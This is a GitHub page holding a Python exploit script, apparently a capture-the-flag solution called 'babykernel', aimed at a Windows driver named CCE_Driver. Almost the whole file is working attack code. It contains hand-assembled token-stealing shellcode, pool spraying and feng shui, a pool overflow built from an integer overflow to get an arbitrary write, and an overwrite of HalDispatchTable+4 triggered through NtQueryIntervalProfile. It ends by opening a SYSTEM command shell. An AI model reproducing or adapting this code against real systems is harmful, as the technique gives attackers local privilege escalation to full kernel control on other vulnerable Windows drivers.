Permalink
Join GitHub today
GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.
Sign up
Fetching contributors…
Cannot retrieve contributors at this time.
Cannot retrieve contributors at this time
| import ctypes, sys, struct | |
| from ctypes import * | |
| from subprocess import * | |
| from ctypes.wintypes import HANDLE, DWORD | |
| ntdll = windll.ntdll | |
| kernel32 = windll.kernel32 | |
| class SYSTEM_MODULE_INFORMATION(Structure): | |
| _fields_ = [("Reserved", c_void_p * 3), | |
| ("ImageBase", c_void_p), | |
| ("ImageSize", c_ulong), | |
| ("Flags", c_ulong), | |
| ("LoadOrderIndex", c_ushort), | |
| ("InitOrderIndex", c_ushort), | |
| ("LoadCount", c_ushort), | |
| ("ModuleNameOffset", c_ushort), | |
| ("FullPathName", c_char * 256)] | |
| def get_HDT_kernel_address(): | |
| b = create_string_buffer(0) | |
| systeminformationlength = c_ulong(0) | |
| res = ntdll.NtQuerySystemInformation(11, b, len(b), byref(systeminformationlength)) | |
| b = create_string_buffer(systeminformationlength.value) | |
| res = ntdll.NtQuerySystemInformation(11, b, len(b), byref(systeminformationlength)) | |
| smi = SYSTEM_MODULE_INFORMATION() | |
| ctypes.memmove(addressof(smi), b, sizeof(smi)) | |
| kernelImage = smi.FullPathName.split('\\')[-1] | |
| hKernelImage = kernel32.LoadLibraryA(kernelImage) | |
| HDT_user_address = kernel32.GetProcAddress(hKernelImage,"HalDispatchTable") | |
| HDT_kernel_address = smi.ImageBase + ( HDT_user_address - hKernelImage) | |
| return HDT_kernel_address | |
| def main(): | |
| print "[+] Start babykernel exploit " | |
| # Open CCE_Driver | |
| hDevice = kernel32.CreateFileA("\\\\.\\CCE_Driver", 0xC0000000, 0, None, 0x3, 0, None) | |
| if not hDevice or hDevice == -1: | |
| print "*** Couldn't get Device Driver handle." | |
| sys.exit(0) | |
| # Set shellcode | |
| shellcode = bytearray( | |
| "\x90\x90\x90\x90" # NOP Sled | |
| "\x60" # pushad | |
| "\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET] | |
| "\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET] | |
| "\x89\xC1" # mov ecx, eax (Current _EPROCESS structure) | |
| "\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET] | |
| "\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID) | |
| "\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] | |
| "\x2D\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET | |
| "\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx | |
| "\x75\xED" # jnz | |
| "\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET] | |
| "\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx | |
| "\x61" # popad | |
| "\xC2\x10\x00" # ret 16 | |
| ) | |
| ptr = kernel32.VirtualAlloc(c_int(0), c_int(len(shellcode)), c_int(0x3000),c_int(0x40)) | |
| buff = (c_char * len(shellcode)).from_buffer(shellcode) | |
| kernel32.RtlMoveMemory(c_int(ptr), buff, c_int(len(shellcode))) | |
| print "[+] Address for Token-Stealing-shellcode: {0}".format(hex(ptr)) | |
| # Make nonpaged pool memory buffer | |
| alloc_buf = "A"*0x20 | |
| alloc_buf += struct.pack("L", 0xFFFFFFF8) # alloc size(the value for integer overflow) | |
| alloc_buf_addr = id(alloc_buf) + 20 | |
| # Spary Object & Pool Feng Shui | |
| print "[+] Start nonpaged pool spraying" | |
| for i in xrange(0x1387): | |
| kernel32.DeviceIoControl(hDevice, 0x221DDF, alloc_buf_addr, len(alloc_buf), None, 0, byref(c_ulong()), None) | |
| # Pool Overflow & AAW primitive | |
| print "[+] Trigger pool overflow and get a AAW primitive" | |
| write_where = get_HDT_kernel_address() + 4 | |
| modify_buf = struct.pack("L", 3000) # victim memory index | |
| modify_buf += struct.pack("L",0x00000038) # memcpy size | |
| modify_buf += "B" * 0x20 | |
| modify_buf += "B" * 0x8 # copy start | |
| modify_buf += struct.pack("L", 0x04080002) | |
| modify_buf += struct.pack("L", 0x43434520) | |
| modify_buf += "B" * 0x20 | |
| modify_buf += struct.pack("L", 0xfffffff8) | |
| modify_buf += struct.pack("L", write_where) | |
| modify_buf_addr = id(modify_buf) + 20 | |
| kernel32.DeviceIoControl(hDevice, 0x221DE3, modify_buf_addr, len(modify_buf), None, 0, byref(c_ulong()), None) | |
| # Ready!! | |
| print "[+] Overwrite (HAL Dispatch Table + 4) address" | |
| modify_buf = struct.pack("L", 3000) # alloc index | |
| modify_buf += struct.pack("L",0x0000004) # memcpy size | |
| modify_buf += "B" * 0x20 | |
| modify_buf += struct.pack("L", ptr) | |
| modify_buf_addr = id(modify_buf) + 20 | |
| kernel32.DeviceIoControl(hDevice, 0x221DE3, modify_buf_addr, len(modify_buf), None, 0, byref(c_ulong()), None) | |
| # Go!! | |
| print "[+] Call NtQueryIntervalProfile to go shellcode" | |
| arb = c_ulong(0) | |
| ntdll.NtQueryIntervalProfile(0x1337, byref(arb)) | |
| print "[+] Boom!!" | |
| Popen("start cmd", shell=True) | |
| if __name__ == "__main__": | |
| main() |